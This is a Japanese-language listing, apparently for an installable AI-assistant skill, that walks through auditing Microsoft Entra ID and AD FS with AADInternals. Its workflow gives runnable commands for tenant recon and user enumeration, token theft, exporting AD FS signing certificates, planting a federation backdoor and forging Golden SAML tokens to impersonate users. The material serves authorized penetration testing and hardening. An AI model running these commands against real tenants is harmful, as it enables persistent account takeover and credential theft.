auditing-entra-id-with-aadinternals について
AADInternalsを使い、Microsoft Entra ID、Azure AD Connect、AD FSの露出を評価するセキュリティテスト用スキルです。防御的な検証として、偵察、トークンとディレクトリの確認、管理されたフェデレーションテストを行い、証拠と強化策をまとめます。
主な機能
- 01認証不要のテナント偵察
- 02Microsoft APIトークンの取得とキャッシュ
- 03認証後のディレクトリ列挙
- 04フェデレーションとAD FS設定の確認
- 05管理されたGolden SAML検証
- 06露出状況と強化策の記録
活用シーン
- 01書面承認の下でEntra IDまたはMicrosoft 365を評価
- 02テナントドメイン、フェデレーション、SSOの露出を記録
- 03トークンアクセスとディレクトリの可視性を確認
- 04フェデレーション署名キーの保護を評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill auditing-entra-id-with-aadinternalsインストール後、Claude Code で/auditing-entra-id-with-aadinternalsを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
AADInternals による Entra ID の監査
法的通知: このスキルは、許可を得たセキュリティテスト、レッドチームの活動、教育目的に限って使用してください。AADInternals は SAML トークンを偽造し、テナント内のあらゆるユーザーになりすますための永続的なアクセスを可能にするフェデレーションのバックドアを設置できます。自身が所有するテナント、またはテストを行う明示的な書面による許可(ルール・オブ・エンゲージメント)があるテナントに対してのみ使用してください。許可のない使用は、Computer Fraud and Abuse Act および同等の法律に違反します。
概要
AADInternals は、Microsoft Entra ID(旧 Azure AD)、Azure AD Connect、Active Directory Federation Services(AD FS)向けの、最も包括的な攻撃・管理用 PowerShell ツールキットです。Dr. Nestori Syynimaa(Gerenios / Secureworks)によって作成されました。未認証の外部偵察、あらゆる Microsoft API のアクセストークン取得、ディレクトリの操作、AD FS/PTA への攻撃、そして最もよく知られている手法であるフェデレーションのバックドアなどを対象とする、何百ものコマンドレット(すべて AADInt で始まります)を提供します。この手法は Set-MsolDomainFederationSettings/ConvertTo-AADIntBackdoor の経路を悪用し、フェデレーションドメインの IssuerUri を制御する攻撃者が任意のユーザー向けの SAML トークンを発行できるようにします。これは MITRE ATT&CK の **T1606.002(Web 認証情報の偽造:SAML トークン)**に該当し、SolarWinds(Golden SAML)侵入で使われたものと同じ種類の手法です。
このツールキットは、必要なアクセス権限に応じて機能を分類しています。Invoke-AADIntReconAsOutsider と Get-AADIntLoginInformation は認証情報が不要です。これらはパブリックエンドポイント(getuserrealm、OpenID 構成、自動検出)にクエリを送信し、検証済みドメイン、テナント ID、フェデレーションの種類、ブランド、デスクトップ SSO/シームレス SSO の有効状態を明らかにします。足掛かりを得た場合、Get-AADIntAccessTokenFor* コマンドレットで Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management などのトークンを取得できます。必要に応じてトークンをキャッシュし、後続のコマンドレットで再利用することもできます。グローバル管理者、または同期された AD Connect アカウントの権限があれば、このツールキットでディレクトリのシークレットを読み取り、ユーザーを操作し、フェデレーションのバックドアを設置できます。
このスキルでは、防御的な検証の観点から AADInternals を使用します。外部の攻撃者が把握できる情報、権限の低いトークンで到達できる範囲、フェデレーション/AD FS の構成によって Golden SAML が可能になるかどうかを確認し、その後、証拠と強化に関する推奨事項をまとめます。
使用するタイミング
- 許可を得た Entra ID/Microsoft 365 のレッドチーム演習や侵害想定評価を行う場合
- 認証情報への攻撃に先立ち、外部の攻撃対象領域(検証済みドメイン、フェデレーションの種類、SSO)を列挙する場合
- フェデレーションおよび AD FS のトークン署名証明書が Golden SAML から保護されていることを検証する場合
- Microsoft のファーストパーティ API 間で、トークンの取得と再利用をテストする場合
- 検知機能を構築する場合(ブルーチームの Graph ログ調査スキルと組み合わせてください)。実際の AADInternals テレメトリが必要な場合にも使用します
前提条件
- ID 攻撃とフェデレーションのバックドアのテストを対象とする、書面による許可
- PowerShell 5.1 以降を実行する Windows ホスト(またはサポート対象の範囲で PowerShell 7)
- バックドア/フェデレーションのテストでは、対象テナントのグローバル管理者(または同等の権限)が必要です。ROE に基づき、テスト範囲に含まれている必要があります
- PowerShell Gallery からモジュールをインストールします:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Cross-platform AsOutsider-only reimplementation (no creds) is also available: # https://github.com/synacktiv/AADOutsider-py - SAML/WS-Federation、OAuth トークン、Azure AD Connect に関する知識
目標
- 未認証のテナント偵察を実施し、検証済みドメイン、テナント ID、フェデレーションの種類を列挙する
- Microsoft のファーストパーティ API 用のアクセストークンを取得し、キャッシュする
- 認証済みトークンでユーザー/グループ/ロールを列挙する
- 管理された許可済みの方法で、フェデレーションのバックドア/Golden SAML の経路をテストする
- 露出状況を記録し、強化に関する推奨事項(トークン署名証明書の保護、フェデレーションの監視)を提示する
MITRE ATT&CK マッピング
| ID | テクニック | このスキルでの適用 |
|---|---|---|
| T1606.002 | Web 認証情報の偽造:SAML トークン | ConvertTo-AADIntBackdoor と New-AADIntSAMLToken を使用し、制御下のフェデレーション IssuerUri を介して任意のユーザーの SAML トークンを偽造します(Golden SAML)。 |
関連するテクニック:T1087.004 アカウントの検出:クラウドアカウント(偵察)、T1528 アプリケーションアクセストークンの窃取(トークンの取得)、T1556.007 認証プロセスの変更:ハイブリッド ID(フェデレーション/PTA のバックドア)。
ワークフロー
ステップ 1:認証されていない外部者による偵察
認証情報は不要です。検証済みドメイン、テナント ID、フェデレーションの種類、ブランド、SSO の状態を特定します。
# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"
# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
ステップ 2:外部ユーザーの列挙(任意、ノイズが大きい)
GetCredentialType/autologon エンドポイントを使用して、ユーザー名が存在するかどうかを確認します。
# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
ステップ 3:アクセストークンの取得とキャッシュ
有効な認証情報(または対話型プロンプト)を使用して、必要な API のトークンを取得します。-SaveToCache を指定すると、後続のコマンドレットでトークンが自動的に再利用されます。
# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
ステップ 4:認証済みディレクトリの列挙
キャッシュ済みまたは取得したトークンを使用して、ディレクトリオブジェクトを読み取り、権限を把握します。
# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails
# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
ステップ 5:フェデレーション/AD FS の構成を調査
テナントがフェデレーションドメインを使用しているか、またトークン署名キーがどこに保管されているかを確認します。これは Golden SAML の前提条件です。
# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
ステップ 6:フェデレーションのバックドア/Golden SAML(許可された場合のみ)
既知の IssuerUri を設定してドメインをバックドア化し、そのドメインの ImmutableId を使用して対象ユーザーの SAML トークンを偽造します。明示的な許可を得た管理下のテナントでのみ実施してください。
# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.
# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
ステップ 7:露出状況を記録し、セキュリティを強化
偵察で判明した内容、アクセス可能だったトークン/API、バックドア/Golden SAML の経路が成功したかどうかを正確に記録します。推奨事項:AD FS のトークン署名証明書を保護する(HSM、DKM アクセスの制限)、新規または変更されたフェデレーション信頼を検知する、Set-DomainAuthentication/Set-MsolDomainFederationSettings を監視する、可能であればマネージド(クラウド)認証に移行する。
ツールとリソース
| リソース | 目的 | ソース |
|---|---|---|
| AADInternals | Entra ID/AD FS 攻撃および管理用ツールキット | https://github.com/Gerenios/AADInternals |
| AADInternals ドキュメント | コマンドレットのリファレンスとテクニックの解説 | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | クロスプラットフォーム対応の AsOutsider 再実装 | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML の背景情報 | フェデレーションのバックドア手法の解説 | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Web 認証情報の偽造:SAML トークン | https://attack.mitre.org/techniques/T1606/002/ |
コマンドレット クイックリファレンス
| コマンドレット | 必要な権限等 | 目的 |
|---|---|---|
Invoke-AADIntReconAsOutsider | なし | 検証済みドメイン、テナント ID、フェデレーションの種類、SSO |
Get-AADIntLoginInformation | なし | ドメインのレルム/ログイン情報 |
Get-AADIntTenantID | なし | テナント GUID |
Invoke-AADIntUserEnumerationAsOutsider | なし | ユーザーの存在を確認 |
Get-AADIntAccessTokenForAADGraph | 認証情報 | Azure AD Graph トークン(-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | 認証情報 | Microsoft Graph トークン |
Get-AADIntAccessTokenForEXO | 認証情報 | Exchange Online トークン |
Get-AADIntUsers | トークン | ディレクトリユーザーを列挙 |
ConvertTo-AADIntBackdoor | グローバル管理者 | ドメインをフェデレーションのバックドアに変換 |
New-AADIntSAMLToken | バックドア | ユーザーの SAML トークンを偽造(Golden SAML) |
Open-AADIntOffice365Portal | SAML トークン | 偽装したユーザーとしてポータルセッションを開始 |
検証基準
- 外部からの偵察を完了し、ドメイン、テナント ID、フェデレーションの種類を確認して記録した
- ユーザー列挙をテストした(または対象外として文書化した)
- 少なくとも 1 つの Microsoft API 用のアクセストークンを取得し、キャッシュした
- 認証済みのディレクトリ列挙を実施した(ユーザー/ロール、同期されたアカウントを記録した)
- トークン署名キーの漏えいについて、フェデレーション/AD FS の構成を評価した
- 許可を得た管理対象テナントでバックドア/Golden SAML の経路をテストした(または対象外として文書化した)
- 具体的な影響を伴う形でエクスポージャーを文書化した
- 強化策を提示した(証明書の保護、フェデレーションの監視、マネージド認証への移行)